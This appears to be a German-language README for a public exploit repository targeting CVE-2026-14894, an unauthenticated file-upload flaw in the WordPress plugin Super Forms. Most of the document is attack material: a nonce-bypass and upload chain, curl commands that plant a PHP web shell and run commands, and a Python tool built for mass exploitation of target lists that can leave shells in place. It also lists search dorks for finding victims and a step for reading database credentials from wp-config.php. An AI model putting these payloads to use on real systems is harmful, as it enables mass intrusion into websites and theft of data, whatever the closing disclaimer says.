
Super Forms Nicht authentifizierter Datei-Upload RCE | CVSS 9.8
CVE-2026-14894 ist eine kritische (CVSS 9.8) unauthentifizierte Schwachstelle für willkürlichen Datei-Upload im WordPress-Plugin Super Forms – Drag & Drop Form Builder (von WebRehab) in den Versionen ≤ 6.3.313.
Der super_submit_form nopriv AJAX-Handler akzeptiert Datei-Uploads über Formulareingaben, ohne:
Die Nonce-Schranke wird trivial umgangen – ein separater nopriv AJAX-Handler (super_create_nonce) generiert gültige Nonces für jeden nicht authentifizierten Besucher.
Angreifer laden willkürliche PHP-Dateien über Base64-kodierte datauristring-Payloads hoch, die direkt nach /wp-content/uploads/superforms/ mit dem vom Angreifer kontrollierten Dateinamen geschrieben werden – dies führt zur direkten Code-Ausführung.
| Version | Status |
|---|---|
| ≤ 6.3.313 | Angreifbar |
| 6.3.314+ | Gepatcht |
Aktive Installationen: 600.000+
Entdeckt von: andrea bocchetti via Wordfence (7. Juli 2026)
Drei fehlende Sicherheitsprüfungen im AJAX-Datei-Upload-Handler von Super Forms:
// Angreifbar: nopriv AJAX – keine Authentifizierung, keine Dateitypvalidierung, keine MIME-Prüfung
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // Nonce für jeden
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // Upload für jeden
function super_submit_form() {
$data = json_decode(stripslashes($_POST['data']), true);
$file = $data['sf_upload_field']['files'][0];
$content = base64_decode($file['datauristring']); // keine MIME-Validierung
$name = $file['value']; // keine Dateinamen-Bereinigung
fwrite(fopen($upload_path . $name, 'w'), $content); // PHP wird auf die Festplatte geschrieben
}
// Jeder kann eine gültige Nonce erhalten – keine Authentifizierung erforderlich
function super_create_nonce() {
$nonce = md5(uniqid(rand(), true));
$_SESSION['sf_nonce'] = $nonce;
echo $nonce; // wird an den nicht authentifizierten Angreifer zurückgegeben
}
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
→ Gültige Nonce erhalten (keine Authentifizierung nötig)
2. POST /wp-admin/admin-ajax.php?action=super_submit_form
sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
"datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
"value":"shell.php"}]}}
→ Shell wird nach /wp-content/uploads/superforms/ geschrieben
3. GET /wp-content/uploads/superforms/shell.php?c=id
→ RCE bestätigt
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt
# Einzelnes Ziel
python cve_2026_14894.py -t target.com
# Massen-Exploit
python cve_2026_14894.py -f targets.txt
# Massen-Exploit + Ergebnisse speichern
python cve_2026_14894.py -f targets.txt -o shells.txt
# Shells auf dem Ziel belassen
python cve_2026_14894.py -t target.com --no-cleanup
# Debug-Modus (jede Anfrage anzeigen)
python cve_2026_14894.py -t target.com --debug
-t, --target Einzelnes Ziel (Domain oder IP)
-f, --file Zielliste, eine pro Zeile
-o, --output RCE-Ergebnisse in Datei speichern
--threads Gleichzeitige Worker (Standard: 30)
--no-cleanup Shells auf dem Ziel belassen
--debug Jede HTTP-Anfrage + Phase in Echtzeit anzeigen
-v, --verbose Ausführliche Ausgabe anzeigen
$ python cve_2026_14894.py -t target.com --debug
Super Forms | CVE-2026-14894 | CVSS 9.8
[target.com] [+] Super Forms detected v6.3.312
[target.com] [*] Nonce obtained
[target.com] [*] Uploading shell...
[target.com] [!] RCE confirmed
Host : target.com
SuperForms : YES v6.3.312
Upload : YES
RCE : YES
Shell : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 2.1s
Targets: 2500 | Threads: 30
[RCE] target-vuln-01.com 2.1s v6.3.312
[UP] target-patched-02.com 1.8s v6.3.314 (upload blocked)
[!] target-no-plugin-03.com 0.5s not installed
[150/2500] 6% | SuperForms:47 Upload:18 RCE:12
───────────────────────────────────────────────────────
Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12
Schritt 1 – Nonce abrufen
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_create_nonce'
# Gibt eine Nonce mit 96 Hex-Zeichen zurück
Schritt 2 – PHP-Shell hochladen
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_submit_form' \
-d "sf_nonce=$NONCE" \
-d 'form_id=1' \
-d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'
Schritt 3 – Befehle ausführen
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'
body="wp-content/plugins/super-forms"
http.html:"super-forms"
Ein erfolgreicher Exploit führt zur Remote-Code-Ausführung als Webserver-Benutzer. Davon ausgehend:
wp-config.php auslesen → Datenbank-AnmeldedatenNUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Diese Software ist vorgesehen für Sicherheitsexperten, die autorisierte Penetrationstests durchführen, Organisationen, die ihre eigene Infrastruktur prüfen, und Forscher, die Schwachstellen-Exploits untersuchen.
Unbefugter Zugriff auf Computersysteme ist illegal und kann Folgendes verletzen:
- Vereinigte Staaten: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesien: UU ITE Pasal 30 & 46
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Missbrauch.
| Ressource | Link |
|---|---|
| Wordfence Advisory |
Dieses Projekt steht in keiner Verbindung zu WebRehab oder Super Forms.
| wordfence.com |
| IONIX Advisory | ionix.io |
| NVD Entry | CVE-2026-14894 |
| Researcher | andrea bocchetti |